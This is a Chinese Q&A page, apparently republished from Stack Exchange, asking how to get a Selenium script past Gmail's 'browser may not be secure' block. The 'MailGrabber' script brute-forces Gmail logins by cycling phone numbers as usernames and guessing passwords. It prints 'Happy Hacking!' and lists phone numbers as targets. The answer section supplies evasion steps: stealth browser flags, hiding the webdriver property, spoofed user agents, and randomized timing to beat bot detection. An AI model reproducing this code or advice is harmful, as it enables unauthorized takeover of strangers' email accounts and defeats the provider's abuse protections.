You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用Python Selenium绕过Gmail的“此浏览器可能不安全”提示?

问题

我正尝试使用Python和Selenium自动化测试邮箱登录功能,具体为测试不同邮箱地址与密码的有效性。但在登录Gmail时,浏览器始终显示“此浏览器可能不安全”的提示。

以下是我使用的代码:

from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from time import sleep
import pandas as pd
from datetime import date, datetime
from undetected_chromedriver import Chrome, ChromeOptions


class MailGrabber(Chrome):
    def __init__(self, driver="C:\\chromedriver_win32\\chromedriver.exe", teardown=False):
        chrome_options = ChromeOptions()
        chrome_options.add_argument("--disable-web-security")
        chrome_options.add_argument("--ignore-certificate-errors")
        chrome_options.add_argument('--ignore-ssl-errors')
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--allow-running-insecure-content")

        self.driver = driver
        self.teardown = teardown
        super(MailGrabber, self).__init__(options=chrome_options, executable_path=driver)
        self.implicitly_wait(30)

    # def __exit__(self, exc_type, exc_val, exc_tb):
    #     if self.teardown:
    #         self.quit()

    def go_to_gmail(self, url):
        if url is not None:
            self.get(url)
        else:
            return None

    def show_intro(self):
        text = "WELCOME TO MAILGRABBER"
        headline = text.upper().center(80)
        print('\033[32m' + headline + '\033[0m')

    def instructions(self):
        text = "DISCLAIMER"
        print(text.upper().center(80))
        print("1. Don't use same number everytime")
        print("2. Don't give a long try! It may causes issue")
        print("3. Happy Hacking!")
        print("")
        print("")

    def solve_captcha(self):
        pass

    def convert_to_dataframe(self, s_arr, f_arr):
        data_frame = pd.DataFrame({
            "Email": s_arr,
            "Password": f_arr
        })
        data_frame.to_csv(f"{datetime.now}.csv", index=False)

    def start_grabbing(self, x_path, number, amount, length_of_password):
        arr = []
        pass_arr = []
        success_email = []
        password_url = "https://accounts.google.com/v3/signin/challenge/pwd?TL=ALbfvL3NQ06cSKbTPLbo" \
                       "-N_E8IBvg6pv5MGySGo7u-msP7SY7thja3BflZNMQP4p&checkConnection=youtube%3A220%3A0&checkedDomains" \
                       "=youtube&cid=2&continue=https%3A%2F%2Fmail.google.com&dsh=S-1727980091%3A1678894620075701" \
                       "&flowEntry=AddSession&flowName=GlifWebSignIn&hl=en&pstMsg=1&service=mail&authuser=0 "

        gmail_url = "https://mail.google.com/mail/u/0/#inbox"

        wait = WebDriverWait(self, 25)
        email = wait.until(EC.element_to_be_clickable((By.XPATH, x_path)))
        sleep(2)
        submit_email = wait.until(EC.element_to_be_clickable((
            By.XPATH, "//span[normalize-space()='Next']"
        )))
        sleep(2)
        email.click()
        i = 1
        k = 1
        while i <= amount:
            i += 1
            number = int(number) + 1
            number_str = "0{}".format(number)
            arr.append(number_str)
            pass_arr.append(str(number)[:length_of_password])
        print("Numbers for bypassing Email => " + str(arr))
        print("Chosen Passwords => " + str(pass_arr))

        while k <= amount:
            k += 1
            for j in arr:
                email.send_keys(j)
                sleep(2)
                submit_email.click()
                print("Tried : " + str(j))
                if self.current_url == password_url:
                    print("One email worked")
                    success_email.append(j)
                    print("Success Email" + str(j))
                    # pass password from here
                    for z in pass_arr:
                        password = wait.until(EC.element_to_be_clickable((
                            By.XPATH, "//input[@name='Passwd']"
                        )))
                        password.click()
                        password.send_keys(z)

                        if self.current_url == gmail_url:
                            self.convert_to_dataframe(arr, pass_arr)
                sleep(5)
                email.clear()
            break
        print("Numbers logs = > ", arr)
        print("Testing all the numbers....")
        print("Tried => ", len(arr), "times")

# for testing numbers
# +18327321445
# +13125860756
# +17322496289
# +19566222852
# +12295853598
# +13127424480


# can target any email from any country

我已尝试多个Chrome启动选项,但仍遇到错误:This browser may not be secured。

解决方法

Google对自动化浏览器的检测机制极为严格,普通Selenium甚至默认配置的undetected-chromedriver都容易被识别,试试以下调整:

1. 优化undetected-chromedriver配置

undetected-chromedriver本身就是用来规避检测的,但你的配置可以更贴近真实浏览器:

def __init__(self, teardown=False):
    chrome_options = ChromeOptions()
    # 移除不安全参数,添加真实浏览器常用配置
    chrome_options.add_argument("--start-maximized")
    chrome_options.add_argument("--disable-blink-features=AutomationControlled")
    chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"])
    chrome_options.add_experimental_option('useAutomationExtension', False)
    chrome_options.add_argument("--disable-dev-shm-usage")
    # 添加真实浏览器的用户代理(可替换为你当前Chrome的UA)
    chrome_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
    
    self.teardown = teardown
    # undetected-chromedriver会自动匹配Chrome版本,无需指定executable_path
    super(MailGrabber, self).__init__(options=chrome_options)
    self.implicitly_wait(30)
    # 执行JS移除webdriver标识
    self.execute_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")

2. 降低操作频率避免风控

代码里固定间隔的快速操作很容易被判定为机器人:

  • 把固定sleep换成随机时间,比如用random.uniform(1.5, 3.5)替代sleep(2)
  • 每次尝试后间隔3-6秒,不要连续提交请求
  • 不要短时间内测试大量账号,分批次进行

3. 复用本地已登录的Chrome配置

直接调用本地Chrome的用户数据目录,让自动化浏览器使用你日常登录Gmail的缓存和Cookie:

# 替换为你自己的Chrome用户数据路径
chrome_options.add_argument(r"user-data-dir=C:\Users\你的用户名\AppData\Local\Google\Chrome\User Data")
chrome_options.add_argument("--profile-directory=Default")

这样浏览器会带着真实的登录状态,大幅降低被检测的概率。

4. 启用应用专用密码(若开启两步验证)

如果目标账号开启了两步验证,普通密码无法登录,需要在Google账号设置里生成应用专用密码,用这个密码替代普通密码完成登录。


内容的提问来源于stack exchange,提问作者Sakib ovi

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.27 09:14:54